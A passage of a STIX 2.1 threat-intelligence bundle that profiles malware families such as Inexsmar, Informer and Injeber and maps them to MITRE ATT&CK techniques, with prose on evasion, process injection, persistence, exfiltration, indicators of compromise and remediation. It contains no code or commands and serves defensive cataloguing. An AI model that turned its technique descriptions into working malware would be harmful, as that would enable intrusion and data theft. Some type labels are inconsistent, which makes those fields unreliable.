9)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Induc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/induc"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--eedbde1d-68a8-5dc5-84d8-a85510977486",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1195: Supply Chain Compromise (Infecting the development compiler)",
      "description": "MITRE ATT&CK Technique T1195 (Supply Chain Compromise (Infecting the development compiler)) under tactic Initial Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1195",
          "url": "https://attack.mitre.org/techniques/T1195/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c0512b2-9ffe-5bf2-831f-2db233e90922",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0dee658-203b-546f-98ae-6274a290f994",
      "target_ref": "attack-pattern--eedbde1d-68a8-5dc5-84d8-a85510977486",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Induc exhibits technique T1195 (Supply Chain Compromise (Infecting the development compiler))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6d9f3ea5-66cb-5db8-8059-a2cb51af2b59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0dee658-203b-546f-98ae-6274a290f994",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Induc exhibits technique T1012 (Query Registry (Locating the Delphi installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eeac48c2-d995-5d5d-a73e-da156459d779",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d0dee658-203b-546f-98ae-6274a290f994",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Induc exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inegery",
      "description": "Trojan:Win32/Inegery is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Inegery</b><br>To an end-user, an Inegery infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Inegery is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Inegery is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Inegery frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Inegery reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inegery",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inegery"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--94f363d5-5498-5e19-9942-3b6c63ef0026",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inegery exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ed447c4-1801-57ce-8f6d-eba6a9077378",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inegery exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a052476a-375e-58a5-8eab-1b560b3068f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inegery exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6879ea3-8606-505d-ac04-fe9c201b4009",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inegery exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7976f32-2200-507c-a516-34b844e69e52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0d783f4-4ff7-51fb-acb6-d2f114353c97",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inegery exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b1c7ba9d-af9d-59e6-ac3a-d72b55eb01fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Inexsmar",
      "description": "<h3>Executive Summary</h3>\nInexsmar is a highly customized downloader Trojan primarily known for its role in delivering the Darkhotel APT (Advanced Persistent Threat) malware. It is designed to act as a stealthy, first-stage loader, establishing a foothold on a target system and carefully validating the environment before downloading and executing the more prominent and destructive Darkhotel espionage payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInexsmar is typically distributed via highly targeted spear-phishing campaigns (often directed at corporate executives or government officials). The emails frequently contain socially engineered lures, such as fake conference invitations or tailored ZIP archives.\n\nUpon execution, Inexsmar employs specific tactics to evade analysis:\n<ul>\n<li><strong>Multi-Stage Unpacking:</strong> Inexsmar utilizes a multi-stage execution process. The initial executable acts as a dropper, extracting a secondary DLL (the core Inexsmar component) and injecting it into a legitimate system process.</li>\n<li><strong>Environment Validation (Anti-Analysis):</strong> Before downloading the final payload, Inexsmar meticulously checks its environment. It looks for the presence of virtualization software (VMware, VirtualBox), debugging tools, and specific antivirus engines. If an analysis environment is detected, execution halts to protect the secondary payload from discovery.</li>\n<li><strong>Secure C2 Communication:</strong> It communicates with its Command and Control (C2) server using customized, encrypted protocols (often mimicking legitimate HTTP traffic) to retrieve the Darkhotel backdoor or keylogger.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Inexsmar detection is a critical indicator of a targeted, nation-state level attack (APT). Its presence means the organization is actively being targeted for high-value espionage and intellectual property theft. The malware's successful execution likely means the Darkhotel backdoor has already been deployed.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Escalation and Isolation:</strong> A confirmed Inexsmar infection requires immediate escalation to specialized Incident Response teams. The endpoint must be isolated instantly to severe the C2 connection.</li>\n<li><strong>Forensic Hunt for Darkhotel:</strong> Remediation cannot stop at removing Inexsmar. Analysts must conduct a deep forensic sweep of the endpoint and the broader network to locate the Darkhotel payloads it likely downloaded, which often employ rootkit-level persistence.</li>\n<li><strong>Total Re-imaging:</strong> Due to the sophistication of the threat actor, the only secure remediation is a complete bare-metal wipe and re-image from a trusted baseline, alongside a comprehensive review of network security controls and credential resets for the targeted individuals.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Inexsmar",
        "Downloader.Inexsmar",
        "Win32/Inexsmar.A",
        "Darkhotel.Dropper"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Inexsmar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/inexsmar"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dbc41c23-90a8-5698-aca4-4998903a15f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1c7ba9d-af9d-59e6-ac3a-d72b55eb01fa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inexsmar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c53b19bc-280c-561c-b09a-03568eb4701c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1c7ba9d-af9d-59e6-ac3a-d72b55eb01fa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inexsmar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74b23ce4-c009-5074-965d-e9e053d8acf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1c7ba9d-af9d-59e6-ac3a-d72b55eb01fa",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inexsmar exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db186598-514c-5388-b889-3f5a5bcd5ab5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b1c7ba9d-af9d-59e6-ac3a-d72b55eb01fa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Inexsmar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Infector_Ng_2004",
      "description": "Infector NG 2004 (Infector Next Generation, cataloged across security telemetry as Trojan:Win32/InfectorNG2004, Virus:Win32/InfectorNG, and Trojan.Win32.Infector) is a legacy dual-action file infector generator and backdoor trojan developed in 2004. Distributed as an underground builder toolkit, Infector NG 2004 enabled malware authors to generate customized trojan droppers that appended parasitic loader subroutines to local Windows portable executable (PE) files (.exe and .scr). When an infected host binary is executed, the trojan executes its malicious payload prior to transferring control back to the legitimate host application. Its capabilities include keystroke interception, registry policy tampering, downloading secondary malware packages, and establishing reverse command-and-control backdoors. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/InfectorNG2004",
        "Virus:Win32/InfectorNG",
        "Trojan.Win32.Infector",
        "Win32/InfectorNG.Trojan",
        "InfectorNG.2004"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Infector_Ng_2004",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/infector_ng_2004"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0134fe65-5e89-5abb-a476-a108e3e786a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infector_Ng_2004 exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26654b70-b286-53a9-ad62-374366767607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infector_Ng_2004 exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f361d90f-2cab-57f4-95dd-0511beec898a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infector_Ng_2004 exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65412a64-f403-59d1-8b18-dfff029510b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infector_Ng_2004 exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36a6a341-bee8-5412-ac5c-9f5c5772db8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fb479fcb-5b00-5171-a90d-b0cb8765b301",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infector_Ng_2004 exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Infinitetear",
      "description": "<h3>Executive Summary</h3>\nInfiniteTear is a highly sophisticated, stealthy Backdoor and Remote Access Trojan (RAT) historically associated with Advanced Persistent Threat (APT) groups engaging in targeted espionage. It is designed to provide threat actors with long-term, covert access to high-value networks, enabling the exfiltration of sensitive intellectual property, government secrets, or corporate strategies while remaining undetected by standard security controls.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nInfiniteTear is not distributed broadly. It is deployed selectively, typically following a successful spear-phishing campaign that delivers a primary loader, or deployed laterally by an attacker who has already breached the network perimeter using stolen credentials or zero-day exploits.\n\nOnce deployed, InfiniteTear exhibits advanced capabilities:\n<ul>\n<li><strong>Deep Stealth and Evasion:</strong> The malware often operates entirely in memory (fileless execution) to evade disk-based anti-virus scans. It employs complex API hooking and process hollowing to inject itself into legitimate system processes (like `svchost.exe`), masking its execution.</li>\n<li><strong>Custom Encrypted C2:</strong> InfiniteTear utilizes highly customized, encrypted protocols for Command and Control (C2) communication. It often blends its traffic with legitimate protocols (like HTTPS or DNS) and utilizes domain generation algorithms (DGAs) or hardcoded, compromised infrastructure to make detection difficult.</li>\n<li><strong>Advanced Espionage Toolset:</strong> The backdoor provides a comprehensive suite of espionage tools, allowing operators to execute arbitrary commands, harvest credentials from LSASS memory, capture screens, log keystrokes, and silently compress and exfiltrate specific files or databases.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of InfiniteTear on a network is a critical, \"break-glass\" security incident. It indicates a successful, targeted breach by a highly capable adversary (often state-sponsored or highly organized cybercriminals). The primary concern is not system destruction, but the silent, long-term hemorrhaging of critical data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Forensic Triage and Containment:</strong> Do not immediately wipe the machine. Isolate the endpoint from the internet, but keep it powered on to allow Incident Response teams to capture volatile memory (RAM) to analyze the memory-resident components and identify the C2 infrastructure.</li>\n<li><strong>Enterprise-Wide Threat Hunt:</strong> The presence of InfiniteTear on one endpoint guarantees lateral movement has occurred. A comprehensive enterprise-wide threat hunt must be initiated to identify all compromised assets, stolen credentials, and secondary backdoors.</li>\n<li><strong>Complete Architecture Review:</strong> Remediation requires a full rebuild of the compromised endpoints from clean baselines, a complete reset of the Active Directory environment (including the KRBTGT account), and a fundamental review of network segmentation and access controls.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor.InfiniteTear",
        "APT.InfiniteTear",
        "Trojan.Tear"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Infinitetear",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/infinitetear"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db124a9d-f1a5-5e3a-b00a-9f2e24689418",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infinitetear exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f56e99c-ce71-59f5-b2a9-cf4a2e5d9f18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infinitetear exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1079cb3c-b7f4-5ff9-8d7e-83b456b64b12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infinitetear exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b626895-6281-5e37-bca5-767e508de010",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "target_ref": "attack-pattern--c1cad0be-7101-5b46-889b-71b19f414675",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infinitetear exhibits technique T1003.001 (OS Credential Dumping: LSASS Memory (Behaviorally blocking access to credential stores))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a50dae7c-d314-5dd0-846b-b17657c0242b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8d8c4baa-4607-56ba-95f8-d8f3333a1b4a",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Infinitetear exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--746b4355-b68b-5374-8957-9556a8f748d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Informer",
      "description": "Spyware:Win32/Informer is a persistent, stealthy spyware and keylogger designed to breach endpoint defenses and securely collect, log, and exfiltrate highly sensitive user activity, including keystrokes, screenshots, and clipboard data, to a remote attacker.<br><br><b>Understanding Informer Spyware</b><br>To an end-user, an Informer infection is entirely invisible. The software operates deep in the background, specifically designed to hide from the Task Manager and system tray. For a security analyst, discovering Informer on a corporate endpoint indicates a critical breach of privacy and a highly likely compromise of all credentials and sensitive communications entered on that machine.<br><br><b>Execution and Surveillance Mechanics</b><br>Informer is typically installed via spearphishing (`T1566.001`) bundled with an exploit or dropped by a primary trojan. Once executed (`T1204.002`), it establishes deep persistence, often by creating a hidden Windows Service (`T1543.003`) or manipulating the Registry Run keys (`T1547.001`). Its primary function is collection: it utilizes Windows API hooks (like `SetWindowsHookEx`) to log every keystroke (`T1056.001`), takes periodic hidden screenshots of the desktop (`T1113`), and captures clipboard data (`T1115`). The harvested data is then encrypted and silently emailed to the attacker or uploaded to a remote FTP server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the catastrophic loss of confidentiality and credential compromise. EDR logs are critical for detecting this threat, specifically looking for processes injecting into `explorer.exe` or hooking the keyboard APIs. Network analysts should look for unauthorized, recurring outbound SMTP (email) or FTP traffic originating from the endpoint. Host-based IoCs include the presence of hidden, encrypted log files (often with extensions like `.dat` or `.log`) buried deeply in the `%AppData%` or `%ProgramData%` directories. (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Informer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/informer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11f7c6aa-7450-5e9d-b3ed-ae19ef962104",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--746b4355-b68b-5374-8957-9556a8f748d4",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Informer exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--238bf50a-3944-5814-9993-f40bec4a76c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--746b4355-b68b-5374-8957-9556a8f748d4",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Informer exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ebbb2178-f1ff-5b66-85a6-0e0c67aec2c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--746b4355-b68b-5374-8957-9556a8f748d4",
      "target_ref": "attack-pattern--d7bd29aa-86c7-5903-8cae-4f2aef4d2e59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Informer exhibits technique T1115 (Clipboard Data)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4503fc5e-a173-57e5-93f5-83c984edc8ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--746b4355-b68b-5374-8957-9556a8f748d4",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Informer exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltration via Email/FTP))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6269bc4d-7b84-5dd8-80e2-c6d1ca6aa3eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Injeber",
      "description": "HackTool:Win32/Injeber (or Trojan:Win32/Injeber) describes a specialized utility or a component of a larger malware framework whose primary, explicit purpose is to perform Process Injection (`T1055`). It is designed to take malicious shellcode or a DLL and forcefully insert it into the memory space of a legitimate, running Windows process (like `explorer.exe`, `svchost.exe`, or a browser) to evade detection and bypass firewall rules.<br><br><b>Understanding Injeber (Injection Frameworks)</b><br>To an end-user, the infection is completely invisible. For a security analyst, the presence of an 'Injeber' tool indicates a sophisticated adversary attempting to establish a stealthy foothold. Because the malicious code runs *inside* a trusted process, it inherits the permissions and network access rights of that process, blinding many legacy security tools.<br><br><b>Execution and Injection Mechanics</b><br>Injeber tools utilize various Windows API techniques to accomplish their goal (`T1055`). Common methods include DLL Injection (using `CreateRemoteThread` and `LoadLibrary`), Process Hollowing (creating a suspended legitimate process, carving out its memory, and replacing it with the payload), or AtomBombing. By injecting into a browser process (`chrome.exe`), the malware can make outbound C2 connections that appear perfectly legitimate to network firewalls (`T1562.004`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is stealthy execution of secondary payloads (like RATs or credential stealers). Host-based IoCs are difficult to detect without EDR. Look for anomalous API calls (e.g., a process unexpectedly calling `VirtualAllocEx` or `WriteProcessMemory` on another process). Network IoCs involve legitimate processes (like `notepad.exe` or `svchost.exe`) making unexpected, persistent outbound connections to unknown IP addresses on non-standard ports. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Injeber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/injeber"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
